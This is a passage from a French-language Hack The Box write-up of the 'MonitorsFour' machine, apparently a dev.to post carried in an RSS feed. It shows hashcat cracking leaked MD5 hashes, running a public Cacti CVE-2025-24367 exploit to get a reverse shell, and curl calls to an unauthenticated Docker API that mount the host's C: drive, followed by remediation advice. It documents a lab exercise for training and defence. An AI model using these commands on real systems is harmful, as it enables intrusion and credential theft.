  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"admin"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"56b32eb43e6f15395f6c46c1c9e1cd36"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Marcus Higgins"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mwatson"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"69196959c16b26ef00b77d82cf6eb169"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Michael Watson"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. Crack des hash MD5
&lt;/h2&gt;

&lt;p&gt;Les hash sont du &lt;strong&gt;MD5 non salé&lt;/strong&gt; — format trivial à casser.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Sur Mac avec Hashcat natif (GPU M5 via Metal)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"56b32eb43e6f15395f6c46c1c9e1cd36"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; hashes.txt
hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 0 hashes.txt ~/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Résultat :&lt;/strong&gt; &lt;code&gt;56b32eb43e6f15395f6c46c1c9e1cd36&lt;/code&gt; → &lt;code&gt;wonderful1&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pourquoi MD5 est dangereux :&lt;/strong&gt; MD5 sans sel est cassable en quelques secondes sur un GPU moderne. Les hash sont identiques pour un même mot de passe, et les tables rainbow précalculées couvrent la plupart des mots courants.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Accès Cacti — CVE-2025-24367 (RCE authentifiée)
&lt;/h2&gt;

&lt;p&gt;Naviguer vers &lt;code&gt;http://cacti.monitorsfour.htb/cacti/&lt;/code&gt; — la version est affichée en bas : &lt;strong&gt;Cacti 1.2.28&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Subtilité des credentials :&lt;/strong&gt; Le username dans l'API est &lt;code&gt;admin&lt;/code&gt;, mais le nom complet est &lt;em&gt;Marcus Higgins&lt;/em&gt;. Cacti utilise le prénom comme identifiant → login avec &lt;code&gt;marcus&lt;/code&gt; / &lt;code&gt;wonderful1&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CVE-2025-24367 :&lt;/strong&gt; Cacti 1.2.28 est vulnérable à une RCE authentifiée. L'exploit abuse de la fonctionnalité graphs/templates pour générer un fichier PHP dans le webroot puis le déclencher.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# T1 — Listener&lt;/span&gt;
penelope &lt;span class="nt"&gt;-p&lt;/span&gt; 9001

&lt;span class="c"&gt;# T4 — Exploit&lt;/span&gt;
git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.git
&lt;span class="nb"&gt;cd &lt;/span&gt;CVE-2025-24367-Cacti-PoC
&lt;span class="nb"&gt;sudo &lt;/span&gt;python3 exploit.py &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-url&lt;/span&gt; http://cacti.monitorsfour.htb &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-u&lt;/span&gt; marcus &lt;span class="nt"&gt;-p&lt;/span&gt; wonderful1 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="nv"&gt;$ME&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; 9001
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Shell obtenu :&lt;/strong&gt; &lt;code&gt;www-data&lt;/code&gt; dans un conteneur Docker.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmrqybok6tthfd9kqndmd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmrqybok6tthfd9kqndmd.png" alt=" " width="630" height="346"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Post-exploitation — Dans le conteneur
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;id&lt;/span&gt;        &lt;span class="c"&gt;# uid=33(www-data)&lt;/span&gt;
&lt;span class="nb"&gt;hostname&lt;/span&gt;  &lt;span class="c"&gt;# 821fbd6a43fa  ← hash court = ID de conteneur Docker&lt;/span&gt;
ip addr   &lt;span class="c"&gt;# 172.18.0.3/16 sur eth0&lt;/span&gt;
ip route  &lt;span class="c"&gt;# default via 172.18.0.1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Flag user :&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/marcus/user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkj21lbhk5lq9a7jr20tz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkj21lbhk5lq9a7jr20tz.png" alt=" " width="499" height="53"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  7. Evasion de conteneur — CVE-2025-9074 (API Docker non authentifiée)
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Le contexte :&lt;/strong&gt; Docker Desktop sur Windows expose son API REST sur &lt;code&gt;192.168.65.7:2375&lt;/code&gt; sans authentification. CVE-2025-9074 documente exactement cette exposition : les conteneurs Linux peuvent atteindre ce endpoint et interagir avec le Docker Engine du host Windows.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://192.168.65.7:2375/version
&lt;span class="c"&gt;# {"Platform":{"Name":"Docker Engine - Community"},...,"Version":"28.3.2",...}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Sur Docker Desktop + WSL2, le disque &lt;code&gt;C:\&lt;/code&gt; Windows est exposé sous &lt;code&gt;/mnt/host/c&lt;/code&gt;. On crée un conteneur qui monte ce chemin :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{
    "Image": "alpine:latest",
    "Cmd": ["/bin/sh", "-c", "cat /mnt/host_root/Users/Administrator/Desktop/root.txt"],
    "HostConfig": {
      "Binds": ["/mnt/host/c:/mnt/host_root"]
    }
  }'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  http://192.168.65.7:2375/containers/create &lt;span class="nt"&gt;-o&lt;/span&gt; /tmp/response.json

&lt;span class="nv"&gt;cid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s1"&gt;'"Id":"[^"]*"'&lt;/span&gt; /tmp/response.json | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="s1"&gt;'"'&lt;/span&gt; &lt;span class="nt"&gt;-f4&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://192.168.65.7:2375/containers/&lt;span class="nv"&gt;$cid&lt;/span&gt;/start
&lt;span class="nb"&gt;sleep &lt;/span&gt;2
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"http://192.168.65.7:2375/containers/&lt;/span&gt;&lt;span class="nv"&gt;$cid&lt;/span&gt;&lt;span class="s2"&gt;/logs?stdout=true"&lt;/span&gt; &lt;span class="nt"&gt;--output&lt;/span&gt; -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffoiqbwc9u4jgg74q92nc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffoiqbwc9u4jgg74q92nc.png" alt=" " width="617" height="304"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flag root obtenu.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  🗺️ Chaîne complète
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;IDOR token=0
    → Hash MD5 leaked (admin / marcus)
        → Hashcat → wonderful1
            → Login Cacti (marcus:wonderful1)
                → CVE-2025-24367 → RCE → shell www-data
                    → Docker container (172.18.0.3)
                        → API Docker 192.168.65.7:2375 (CVE-2025-9074)
                            → bind mount /mnt/host/c
                                → root.txt ✅
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  🛡️ Comment corriger ces failles
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. IDOR + logique falsy sur &lt;code&gt;/user?token=&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Correction :&lt;/strong&gt; Remplacer &lt;code&gt;if ($token)&lt;/code&gt; par &lt;code&gt;if ($token !== null &amp;amp;&amp;amp; $token !== '')&lt;/code&gt;. Ajouter une authentification obligatoire sur tous les endpoints API.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Hash MD5 non salés
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Correction :&lt;/strong&gt; Utiliser &lt;code&gt;password_hash()&lt;/code&gt; en PHP (bcrypt par défaut) ou Argon2id. Ne jamais stocker de MD5/SHA1 pour des mots de passe.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Cacti 1.2.28 — CVE-2025-24367
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Correction :&lt;/strong&gt; Mettre à jour Cacti. Restreindre l'accès par IP. Appliquer le principe du moindre privilège.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. API Docker exposée sans auth — CVE-2025-9074
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Correction :&lt;/strong&gt; Désactiver "Expose daemon on tcp://localhost:2375 without TLS". Si TCP requis → TLS + certificats mutuels. Isoler les conteneurs sur des réseaux dédiés.&lt;/p&gt;




&lt;h2&gt;
  
  
  💡 Leçons retenues
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Tester les valeurs falsy&lt;/strong&gt; (&lt;code&gt;0&lt;/code&gt;, &lt;code&gt;-1&lt;/code&gt;, &lt;code&gt;""&lt;/code&gt;, &lt;code&gt;null&lt;/code&gt;) sur tout paramètre d'identification.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ne pas abandonner le fuzzing de vhosts trop tôt&lt;/strong&gt; — &lt;code&gt;cacti&lt;/code&gt; était la vraie surface d'attaque.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lire les en-têtes HTTP&lt;/strong&gt; — &lt;code&gt;X-Powered-By: PHP/8.3.27&lt;/code&gt; + &lt;code&gt;PHPSESSID&lt;/code&gt; trahissent la techno dès le premier curl.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;nginx sur Windows = conteneurisation probable&lt;/strong&gt; — TTL 127 + nginx = signal fort Docker Desktop.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;L'API Docker non authentifiée = root immédiat&lt;/strong&gt; — atteindre le port 2375 depuis un conteneur compromis est un game over.&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;📺 Voir le walkthrough vidéo : &lt;a href="https://youtube.com/@whyshell" rel="noopener noreferrer"&gt;YouTube WhyShell&lt;/a&gt;&lt;br&gt;
&lt;a href="https://dev.to/whyshell/htb-monitorsfour-writeup-381k"&gt;🇬🇧 English version&lt;/a&gt;&lt;/p&gt;

</description>
      <category>hackthebox</category>
      <category>ctf</category>
      <category>cybersecurity</category>
      <category>writeup</category>
    </item>
  </channel>
</rss>
